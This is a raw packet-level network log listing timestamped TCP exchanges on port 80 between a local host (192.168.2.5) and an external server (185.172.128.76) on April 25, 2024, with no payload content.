Apr 25, 2024 21:48:02.010627031 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.010662079 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.010731936 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.010771036 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.010795116 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.010832071 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.010832071 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.010870934 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.010895014 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.010931015 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.010955095 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.010991096 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.011014938 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.011053085 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.011070967 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.011085033 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.011107922 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.011118889 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.011142015 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.011178970 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.011195898 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.011234045 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.011321068 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.011358023 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.011464119 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.011476994 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.011501074 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.011512995 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.011600971 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.011639118 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.011759996 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.011797905 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.011924028 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.011934996 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.011959076 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.011972904 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.011984110 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.012018919 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.012041092 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.012077093 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.012096882 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.012115002 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.012136936 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.012137890 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.012155056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.012172937 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.012218952 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.012231112 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.012243032 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.012254953 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.012255907 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.012269020 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.012281895 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.012296915 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.012304068 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.012334108 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.012358904 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.012368917 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.012384892 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.012393951 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.012408018 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.012424946 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.012454987 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.012495041 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.012514114 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.012525082 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.012547016 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.012557030 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.012587070 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.012594938 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.012613058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.012634993 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.012635946 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.012643099 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.012670994 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.012696981 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.012736082 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.012825966 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.012855053 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.012865067 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.012890100 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.012918949 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.012950897 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.012957096 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.012988091 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.012988091 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.013012886 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.013024092 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.013047934 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.013070107 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.013088942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.013092041 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.013127089 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.013147116 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.013184071 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.013411999 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.013452053 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.013468981 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.013489008 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.013509989 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.013529062 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.013530970 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.013551950 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.013583899 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.013596058 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.013608932 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.013643980 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.013645887 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.013679028 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.013698101 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.013710022 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.013734102 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.013745070 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.013761044 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.013796091 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.013797045 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.013834000 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.013838053 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.013849974 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.013875008 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.013906002 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.013959885 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.013972998 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.013986111 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.013997078 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.014054060 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.014054060 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.014054060 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.014054060 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.014082909 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.014097929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.014132977 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.014143944 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.014167070 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.014167070 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.014167070 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.014168024 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.014182091 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.014206886 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.014311075 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.014357090 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.017113924 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.017151117 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.017158985 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.017187119 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.017307043 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.017345905 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.017360926 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.017373085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.017395973 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.017410994 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.017529964 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.017565012 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.017585993 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.017620087 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.017641068 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.017677069 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.017716885 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.017754078 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.017910004 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.017947912 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.018019915 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.018057108 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.018069029 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.018105030 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.018171072 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.018208027 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.018225908 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.018265009 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.018277884 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.018289089 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.018333912 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.018335104 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.018353939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.018359900 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.018374920 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.018395901 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.018425941 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.018451929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.018465042 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.018485069 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.018491030 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.018524885 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.018527031 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.018562078 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.018577099 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.018590927 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.018611908 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.018623114 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.020068884 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.020109892 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.020117998 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.020145893 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.020150900 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.020184040 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.020201921 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.020243883 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.020246983 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.020282984 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.020318031 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.020329952 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.020354986 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.020382881 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.020416021 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.020452976 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.020543098 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.020572901 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.020582914 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.020584106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.020607948 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.020620108 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.020642042 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.020654917 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.020675898 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.020690918 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.020711899 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.020723104 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.020745993 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.020757914 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.020780087 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.020806074 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.020817041 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.020838976 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.020840883 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.020875931 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.020893097 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.020911932 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.020931959 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.020947933 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.020951986 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.020961046 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.020982981 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.020997047 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.021012068 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.021063089 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.021064043 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.021096945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.021101952 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.021110058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.021132946 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.021132946 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.021147013 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.021173000 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.021186113 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.021224976 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.021472931 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.021509886 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.021533012 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.021568060 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.021593094 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.021615982 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.021637917 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.021650076 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.021686077 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.021697998 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.021723032 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.021730900 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.021740913 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.021765947 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.021790028 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.021828890 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.021847963 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.021862030 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.021884918 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.021898031 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.021920919 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.021945000 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.021975040 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.021989107 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.022001982 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.022039890 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.054651976 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.054716110 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.054761887 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.054775000 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.054825068 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.054862022 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.064141035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.064207077 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.064277887 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.064306021 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.064327002 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.064342976 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.064419031 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.064461946 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.064476967 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.064491987 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.064505100 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.064518929 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.064533949 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.064544916 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.064582109 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.064625025 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.064663887 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.064712048 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.064714909 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.064729929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.064758062 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.064773083 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.064785004 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.064831018 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.064937115 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.064984083 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.065157890 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.065171957 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.065205097 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.065216064 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.065386057 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.065434933 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.065551043 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.065598011 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.065620899 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.065660000 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.065718889 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.065766096 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.065788031 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.065825939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.065851927 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.065895081 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.065907001 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.065948963 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.065949917 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.065967083 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.065992117 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.066004992 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.066096067 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.066109896 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.066143036 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.066168070 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.066215038 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.066225052 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.066263914 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.066294909 CEST	80	49704	185.172.128.76	192.168.2.5
